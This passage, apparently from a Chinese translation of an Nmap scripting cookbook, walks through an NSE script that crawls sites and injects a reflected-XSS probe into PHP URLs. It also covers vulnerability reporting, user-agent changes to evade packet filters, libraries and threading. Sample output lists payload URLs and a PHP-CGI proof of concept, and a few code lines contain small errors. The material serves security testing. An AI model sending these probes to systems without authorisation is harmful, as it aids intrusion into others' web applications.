The attack vector/probe used is: <code>/'"/><script>alert(1)</script></code>
]]
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"fuzzer", "intrusive", "vuln"}
- 加载所需的库(Nmap 6.x 格式):
local http = require 'http'
local httpspider = require 'httpspider'
local shortport = require 'shortport'
local url = require 'url'
local stdnse = require 'stdnse'
local vulns = require 'vulns'
- 定义脚本应在遇到别名为
shortport.http的 HTTP 服务器时运行:
portrule = shortport.http
- 编写一个函数,该函数将从爬虫接收一个 URI 并发送一个注入探针:
local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
local probes = {}
local function launch_probe(host, port, uri)
local probe_response
--We avoid repeating probes.
--This is a temp fix since httpspider do not keep track of previously parsed links at the moment.
if probes[uri] then
return false
end
stdnse.print_debug(1, "%s:HTTP GET %s%s", SCRIPT_NAME, uri, PHP_SELF_PROBE)
probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
--save probe in list to avoid repeating it
probes[uri] = true
if check_probe_response(probe_response) then
return true
end
return false
end
- 添加一个函数,用于检查响应主体,以确定 PHP 文件是否易受攻击:
local function check_probe_response(response)
stdnse.print_debug(3, "Probe response:\n%s", response.body)
if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
return true
end
return false
end
- 在脚本的主要部分,我们将添加读取脚本参数、初始化
http爬虫、设置漏洞信息,并迭代页面以启动探测(如果找到 PHP 文件)的代码:
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout)
local vuln = {
title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP files',
state = vulns.STATE.NOT_VULN,
description = [[
PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
]],
references = {
'http://php.net/manual/en/reserved.variables.server.php',
'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)'
}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vulnpages = {}
local probed_pages= {}
while(true) do
local status, r = crawler:crawl()
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
local parsed = url.parse(tostring(r.url))
--Only work with .php files
if ( parsed.path and parsed.path:match(".*.php") ) then
--The following port/scheme code was seen in http-backup-finder and its neat =)
local host, port = parsed.host, parsed.port
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
local escaped_link = parsed.path:gsub(" ", "%%20")
if launch_probe(host,port,escaped_link) then
table.insert(vulnpages, parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE)
end
end
end
if ( #vulnpages > 0 ) then
vuln.state = vulns.STATE.EXPLOIT
vulnpages.name = "Vulnerable files with proof of concept:"
vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
end
return vuln_report:make_output(vuln)
end
要运行脚本,请使用以下命令:
$ nmap -p80 --script http-phpself-xss.nse <target>
如果 PHP 文件通过$_SERVER["PHP_SELF"]注入易受跨站脚本攻击,输出将类似于这样:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
http-phpself-xss:
VULNERABLE:
Unsafe use of $_SERVER["PHP_SELF"] in PHP files
State: VULNERABLE (Exploitable)
Description:
PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
Extra information:
Vulnerable files with proof of concept:
http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
References:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://php.net/manual/en/reserved.variables.server.php
它是如何工作的...
脚本http-phpself-xss依赖于库httpspider。该库提供了一个返回发现的 URI 迭代器的 Web 爬虫接口。在进行 Web 渗透测试时,该库非常有用,因为它加快了几项测试,否则将不得不手动完成或使用第三方工具。
PHP 为开发人员提供了一个名为$_SERVER["PHP_SELF"]的变量,用于检索执行 PHP 脚本的文件名。不幸的是,这是一个可以被用户提供的数据篡改的值,许多开发人员在其脚本中不安全地使用它,导致反射型跨站脚本(XSS)漏洞。
首先,我们初始化一个 Web 爬虫。我们设置起始路径和超时值:
local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout)
Web 爬虫的行为可以通过以下库参数进行修改:
-
url:开始爬行的基本 URL。 -
maxpagecount:在退出之前要访问的最大页面数。 -
useheadfornonwebfiles:当发现二进制文件时,通过使用HEAD来节省带宽。未被视为二进制文件的文件列表在file /nselib/data/http-web-file-extensions.lst中定义。 -
noblacklist:不加载黑名单规则。不建议使用此选项,因为它将下载所有文件,包括二进制文件。 -
withinhost:过滤掉不在同一主机上的 URI。 -
withindomain:过滤掉不在同一域中的 URI。
我们通过 URI 迭代查找扩展名为.php的文件:
while(true) do
local status, r = crawler:crawl()
local parsed = url.parse(tostring(r.url))
if ( parsed.path and parsed.path:match(".*.php") ) then
…
end
end
处理每个扩展名为.php的 URI,并使用http.get()函数为每个 URI 发送一个注入探测:
local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
check_probe_response()函数只是在响应中查找注入的文本,借助string.find()的一些帮助:
if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
return true
end
return false
执行后,我们检查存储有漏洞 URI 的表,并将它们报告为额外信息:
if ( #vulnpages > 0 ) then
vuln.state = vulns.STATE.EXPLOIT
vulnpages.name = "Vulnerable files with proof of concept:"
vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
end
return vuln_report:make_output(vuln)
还有更多...
建议您包含一条消息,通知用户有关 Web 爬虫使用的设置,因为它可能在完成测试之前退出。函数crawler:getLimitations()将返回一个显示爬虫设置的字符串:
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=scanme.nmap.org
库httpspider的官方文档可以在nmap.org/nsedoc/lib/httpspider.html找到。
调试 NSE 脚本
如果发生意外情况,请打开调试以获取额外信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
通过设置用户代理来设置用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent来使用不同的用户代理值:
$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>
要在您的 NSE 脚本中设置用户代理,可以传递header字段:
options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)
HTTP 管线处理
一些 Web 服务器配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 Web 服务器支持的话,建议使用。默认情况下,http库尝试对 40 个请求进行管线处理,并根据网络条件和Keep-Alive标头自动调整该数字。
用户需要设置脚本参数http.pipeline来调整此值:
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
要在您的 NSE 脚本中实现 HTTP 管线处理,请使用函数http.pipeline_add()和http.pipeline()。首先,初始化一个变量来保存请求:
local reqs = nil
使用http.pipeline_add()将请求添加到管道中:
reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)
当您添加请求完成后,使用http.pipeline()执行管道:
local results = http.pipeline(target, 80, reqs)
变量结果将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,您可以简单地遍历对象:
for i, req in pairs(results) do
stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end
异常处理
nmap库为设计用于帮助网络 I/O 任务的 NSE 脚本提供了异常处理机制。
nmap库的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()调用内。函数返回的第一个值表示完成状态。如果返回false或nil,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要设置和使用。由nmap.new_try()定义的catch函数将在引发异常时执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html)。在此脚本中,catch函数执行一些简单的垃圾收集,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap的官方文档可以在nmap.org/nsedoc/lib/nmap.html找到。
另请参阅
-
识别易受攻击的 Trendnet 网络摄像头的 HTTP 请求的制作
-
通过使用 NSE 套接字发送 UDP 有效载荷的食谱
-
利用路径遍历漏洞与 NSE 的食谱
-
编写暴力脚本的食谱
-
在 NSE 脚本中正确报告漏洞的食谱
-
撰写自己的 NSE 库食谱
在 NSE 脚本中正确报告漏洞
Nmap 脚本引擎非常适合检测漏洞,因此 Nmap 已经包含了几个利用脚本。不久之前,每个开发人员都使用自己的标准来报告这些漏洞时要包含的输出。为了解决这个问题并统一输出格式和提供的信息量,引入了vulns库。
这个食谱将教你如何通过使用vulns库在你的 NSE 脚本中正确报告漏洞。
如何做...
在 NSE 中正确报告漏洞的正确方法是通过vulns库。让我们回顾一下报告漏洞的过程:
- 加载
vulns库(Nmap 6.x 格式):
local vulns = require "vulns"
- 创建
vuln对象表。特别注意state字段:
local vuln = { title = "<TITLE GOES HERE>",
state = vulns.STATE.NOT_VULN,
references = {"<URL1>", "URL2"},
description = [[<DESCRIPTION GOES HERE> ]],
IDS = {CVE = "<CVE ID>", BID = "BID ID"},
risk_factor = "High/Medium/Low" }
- 创建报告对象并报告漏洞:
local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port)
return vuln_report:make_output(vuln)
- 如果状态设置为指示主机是否易受攻击,Nmap 将包括类似的漏洞报告:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
http-vuln-cve2012-1823:
VULNERABLE:
PHP-CGI Remote code execution and source code disclosure
State: VULNERABLE (Exploitable)
IDs: CVE:2012-1823
Description:
According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.
Disclosure date: 2012-05-3
Extra information:
Proof of Concept:/index.php?-s
References:
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
http://ompldr.org/vZGxxaQ
工作原理...
vulns库由 Djalal Harouni 和 Henri Doreau 引入,用于统一执行漏洞检查的 NSE 脚本返回的输出。该库还管理和跟踪已完成的安全检查,这对于希望列出安全检查的用户来说是一个有用的功能,即使目标不易受攻击。
漏洞表可以包含以下字段:
-
title:指示漏洞标题的字符串。此字段是必需的。 -
state:此字段指示漏洞检查的不同可能状态。此字段是必需的。查看表vulns.STATE以获取所有可能的值。 -
IDS:存储 CVE 和 BID ID 的字段。它用于自动生成咨询 URL。 -
risk_factor:表示风险因素的字符串:高/中/低。 -
scores:存储 CVSS 和 CVSSv2 分数的字段。 -
description:漏洞描述。 -
dates:与此漏洞相关的日期字段。 -
check_results:用于存储返回结果的字符串或字符串列表。 -
exploit_results:用于存储利用结果的字符串或字符串列表。 -
extra_info:用于存储附加信息的字符串或字符串列表。 -
references:要包括为引用的 URI 列表。如果设置了 IDS 表,库将自动生成 CVE 和 BID 链接的 URI。
正如您之前看到的,报告 NSE 中的漏洞非常简单。首先,我们创建一个包含所有漏洞信息的表:
local vuln = { title = "<TITLE GOES HERE>", state = vulns.STATE.NOT_VULN, ... }
要向用户报告,我们需要一个报告对象:
local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port)
包含此库的 NSE 脚本中应使用的最后一个函数是make_output()。如果发现目标易受攻击,它将生成并显示报告,或者如果没有发现目标易受攻击,则返回nil。
return vuln_report:make_output(vuln)
如果您想学习更多使用此库的 NSE 脚本,请访问nmap.org/nsedoc/categories/vuln.html。请注意,并非所有脚本都使用它,因为该库是最近引入的。
还有更多...
您可以告诉 Nmap 通过使用库参数vulns.showall报告 NSE 执行的所有漏洞检查:
# nmap -sV --script vuln --script-args vulns.showall <target>
将显示所有漏洞检查的列表:
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: CVE:CVE-2011-3192 OSVDB:74721
| Description:
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| http://nessus.org/plugins/index.php?view=single&id=55976
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| http://osvdb.org/74721
|_ http://seclists.org/fulldisclosure/2011/Aug/175
| http-vuln-cve2011-3368:
| NOT VULNERABLE:
| Apache mod_proxy Reverse Proxy Security Bypass
| State: NOT VULNERABLE
| IDs: CVE:CVE-2011-3368 OSVDB:76079
| References:
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
|_ http://osvdb.org/76079
如果需要更多灵活性,此库还可以与 prerule 和 postrule 操作结合使用。NSE 库vulns的在线文档可在nmap.org/nsedoc/lib/vulns.html找到。
库 vulns 的漏洞状态
库vulns可以标记具有可利用性状态的主机,用于指示 Nmap 脚本引擎是否存在主机中的某些漏洞。
以下是来自vulns库的片段,显示了支持的状态和报告中使用的相应字符串消息:
STATE_MSG = {
[STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
[STATE.NOT_VULN] = 'NOT VULNERABLE',
[STATE.VULN] = 'VULNERABLE',
[STATE.DoS] = 'VULNERABLE (DoS)',
[STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
[bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
[bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}
另请参阅
-
制作 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 套接字发送 UDP 负载配方
-
利用 NSE 的路径遍历漏洞配方
-
编写蛮力脚本配方
-
使用 Web 爬虫库配方
-
编写您自己的 NSE 库配方
编写您自己的 NSE 库
有时您会意识到您正在编写的代码可以放入库中,以便其他 NSE 脚本重复使用。编写 NSE 库的过程很简单,我们只需要考虑一些特定的事情,比如不要访问其他脚本使用的全局变量。尽管首选 Lua 模块,但 Nmap 脚本引擎还通过 Lua C API 支持 C 模块,以提供额外的性能。
此配方将教您如何创建自己的 Lua NSE 库。
如何做...
创建库的过程与编写脚本类似。只需记住您正在使用的变量的范围。让我们创建一个简单的库:
- 创建一个名为
mylibrary.lua的新文件,并开始输入您可能需要的所需库:
local math = require "math"
- 现在,只需将函数添加到您的库中。我们将创建一个返回经典的
"Hello World!"消息的函数:
function hello_word()
return "Hello World!"
end
- 将您的库文件放入
/nselib/目录中。创建一个新的 NSE 脚本,并在其中添加require()调用:
local mylibrary = require "mylibrary"
- 从脚本内部执行您的方法。如果无法访问该方法,则可能为函数设置了不正确的范围分配:
mylibrary.hello_world()
它是如何工作的...
LUA NSE 库存储在您配置的数据目录中的/nselib/目录中。要创建我们自己的库,我们只需要创建.lua文件并将其放在该目录中:
--hello.lua
local stdnse = require "stdnse"
function hello(msg, name)
return stdnse.format("%s %s", msg, name)
end
NSE 脚本现在可以导入您的 NSE 库并调用可用的函数:
local hello = require "hello"
...
hello.foo()
在将其提交到<nmap-dev@insecure.org>之前,有必要对您的库进行良好的文档记录,以帮助其他开发人员快速了解您的新库的目的和功能。
还有更多...
为了避免错误地覆盖其他脚本使用的全局变量,请包含模块strict.lua。该模块将在运行时每次访问或修改未声明的全局变量时提醒您。
调试 NSE 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
异常处理
nmap库为 NSE 脚本提供了一个异常处理机制,旨在帮助处理网络 I/O 任务。
nmap 库中的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()调用中。函数返回的第一个值表示完成状态。如果返回false或nil,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要进行设置和使用。当引发异常时,由nmap.new_try()定义的catch函数将执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html)。在这个脚本中,catch函数执行一些简单的垃圾回收,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库的官方文档可以在nmap.org/nsedoc/lib/nmap.html找到。
在 C 中导入模块
一些包含在 Nmap 脚本引擎中的模块是用 C++或 C 编写的。这些语言提供了增强的性能,在所需任务的关键方面推荐使用。
我们可以通过遵循在以下详细描述的协议,在我们的脚本中使用 Lua C API 中的编译 C 模块:
另请参阅
-
向 Trendnet 网络摄像头发送 HTTP 请求以识别漏洞的方法
-
使用 NSE 套接字发送 UDP 负载的方法
-
利用 NSE 利用路径遍历漏洞的方法
-
编写暴力脚本的方法
-
使用网络爬虫库的方法
-
在 NSE 脚本中正确报告漏洞
在 NSE 中使用线程、条件变量和互斥锁
Nmap 脚本引擎通过实现线程、条件变量和互斥锁,提供了对脚本并行性的更精细控制。每个 NSE 脚本通常在 Lua 协程或线程中执行,但如果程序员决定这样做,它可能会产生额外的工作线程。
这个方法将教你如何处理 NSE 中的并行性。
如何做...
NSE 线程建议用于需要并行执行网络操作的脚本。让我们看看如何处理我们脚本中的并行性:
- 要创建一个新的 NSE 线程,使用库
stdnse中的函数new_thread():
local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...)
- 为了同步访问网络资源,在对象上创建一个互斥锁:
local my_mutex = nmap.mutex(object)
- 然后,通过
nmap.mutex(object)返回的函数可以如下锁定:
my_mutex("trylock")
- 在完成工作后,应使用函数
"done"释放它:
my_mutex("done")
- NSE 支持条件变量,以帮助您同步线程的执行。要创建条件变量,请使用函数
nmap.condvar(object):
local o = {}
local my_condvar = nmap.condvar(o)
- 之后,您可以等待、信号或广播条件变量:
my_condvar("signal")
它是如何工作的...
NSE 脚本在进行网络操作时会透明地产生。脚本编写者可能希望执行并行的网络任务,比如脚本http-slowloris打开几个套接字并同时保持它们打开。NSE 线程通过允许脚本编写者产生并行网络操作来解决这个问题。
函数stdnse.new_thread的第一个参数是新工作线程的主函数。此函数将在创建新线程后执行。脚本编写者可以将任何额外的参数作为可选参数传递给stdnse.new_thread()。
local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...)
NSE 忽略了工作线程的返回值,它们无法报告脚本输出。官方文档建议使用upvalues、函数参数或环境来将结果报告回基本线程。
执行后,它返回基本协程和状态查询函数。此状态查询函数返回最多两个值:使用基本coroutine的coroutine.status的结果,以及如果发生错误,则为错误对象。
互斥锁或互斥对象被实现用来保护诸如 NSE 套接字之类的资源。可以对互斥锁执行以下操作:
-
lock:锁定互斥锁。如果互斥锁被占用,工作线程将让出并等待直到释放。 -
trylock:尝试以非阻塞方式锁定互斥锁。如果互斥锁被占用,它将返回 false。(不会像lock函数那样让出。) -
done:释放互斥锁。其他线程可以在此之后锁定它。 -
running:除了用于调试之外,根本不应该使用此函数,因为它会影响已完成线程的线程收集。
条件变量被实现以帮助开发人员协调线程之间的通信。可以对条件变量执行以下操作:
-
broadcast:恢复条件变量队列中的所有线程 -
wait:将当前线程添加到条件变量的等待队列中 -
signal:从等待队列中发出信号的线程
要阅读脚本并行性的实现,建议阅读 NSE 脚本broadcast-ping,ssl-enum-ciphers,firewall-bypass,http-slowloris或broadcast-dhcp-discover的源代码。
还有更多...
Lua 提供了一个有趣的功能,称为协程。每个协程都有自己的执行堆栈。最重要的部分是我们可以通过coroutine.resume()和coroutine.yield()挂起和恢复执行。引入了函数stdnse.base()来帮助确定主脚本线程是否仍在运行。它返回运行脚本的基本协程。
您可以从 Lua 的官方文档中了解有关协程的更多信息:
调试 NSE 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
异常处理
nmap库为设计用于帮助网络 I/O 任务的 NSE 脚本提供了异常处理机制。
nmap库的异常处理机制按预期工作。我们将想要监视异常的代码包装在nmap.try()调用内。函数返回的第一个值表示完成状态。如果返回false或nil,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要设置和使用。nmap.new_try()定义的catch函数将在引发异常时执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html)。在此脚本中,catch函数在套接字保持打开时执行一些简单的垃圾回收:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap的官方文档可以在nmap.org/nsedoc/lib/nmap.html找到。
另请参阅
-
发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 套接字发送 UDP 负载配方
-
利用 NSE 的路径遍历漏洞配方
-
编写暴力脚本配方
-
使用 Web 爬虫库配方
-
在 NSE 脚本中正确报告漏洞配方